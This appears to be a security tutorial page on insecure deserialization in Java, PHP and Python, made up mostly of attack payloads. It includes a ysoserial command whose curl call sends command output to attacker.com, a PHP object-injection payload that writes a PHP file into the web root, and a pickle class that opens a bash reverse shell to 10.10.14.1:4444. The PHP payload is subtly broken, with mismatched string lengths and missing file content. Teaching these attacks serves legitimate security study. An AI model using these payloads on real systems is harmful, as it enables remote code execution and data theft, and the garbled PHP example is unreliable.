Insecure Deserialization: Java, PHP & Python Object Injection Attacks

Insecure deserialization is a critical vulnerability that occurs when applications deserialize untrusted data without validation. Attackers can manipulate serialized objects to achieve remote code execution, authentication bypass, privilege escalation, and denial of service. This guide covers Java, PHP, and Python deserialization attacks with practical exploitation techniques.

Understanding Deserialization Vulnerabilities

Serialization converts objects into storable/transmittable byte streams. Deserialization reverses the process. The vulnerability arises when applications deserialize user-controlled data before validating it, allowing attackers to inject gadget chains that execute arbitrary code during the deserialization process. This is OWASP A08:2021 — Software and Data Integrity Failures.

Java Deserialization Attacks

Java serialized objects start with the magic bytes AC ED 00 05 (or rO0AB in Base64). Tools like ysoserial generate exploit payloads using gadget chains from common libraries.

# Identify Java serialized data (look for these patterns)
# Binary: AC ED 00 05
# Base64: rO0AB
# HTTP parameters: viewstate, session tokens, cookies

# Generate payload with ysoserial
java -jar ysoserial.jar CommonsCollections1 "id" > payload.ser
java -jar ysoserial.jar CommonsCollections6 "curl http://attacker.com/$(id|base64)" > payload.ser

# Common gadget chains (depends on classpath)
# CommonsCollections1-7 (Apache Commons Collections)
# Spring1, Spring4 (Spring Framework)
# Groovy1 (Apache Groovy)
# JRMPClient (triggers outbound JRMP connection)

# Send payload via curl
curl -s -X POST https://target.com/api/endpoint -H "Content-Type: application/x-java-serialized-object" --data-binary @payload.ser

PHP Deserialization & Object Injection

PHP serialization uses a text format: O:4:"User":2:{s:4:"name";s:5:"admin";}. PHP object injection exploits magic methods (__wakeup, __destruct, __toString) that execute automatically during deserialization.

# PHP serialized object format
O:4:"User":2:{s:4:"name";s:5:"admin";s:5:"email";s:15:"admin@test.com";}

# Exploit __destruct for file write
# If a class has:
# function __destruct() { file_put_contents($this->filename, $this->data); }

# Craft the payload
O:7:"Exploit":2:{s:8:"filename";s:17:"/var/www/html/x.php";s:4:"data";s:30:"";}

# Base64 encode and inject into cookie/parameter
echo 'O:7:"Exploit":...' | base64

Python Pickle Deserialization RCE

Python’s pickle module is notoriously unsafe. The __reduce__ method in pickled objects executes during unpickling. Never deserialize untrusted pickle data.

import pickle, os, base64

class Exploit(object):
    def __reduce__(self):
        return (os.system, ('bash -c "bash -i >& /dev/tcp/10.10.14.1/4444 0>&1"',))

payload = pickle.dumps(Exploit())
print(base64.b64encode(payload).decode())

# Inject the base64 payload into a vulnerable parameter
# The server does: pickle.loads(base64.b64decode(user_input))

References

See OWASP Insecure Deserialization and ysoserial on GitHub.

Related Articles

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top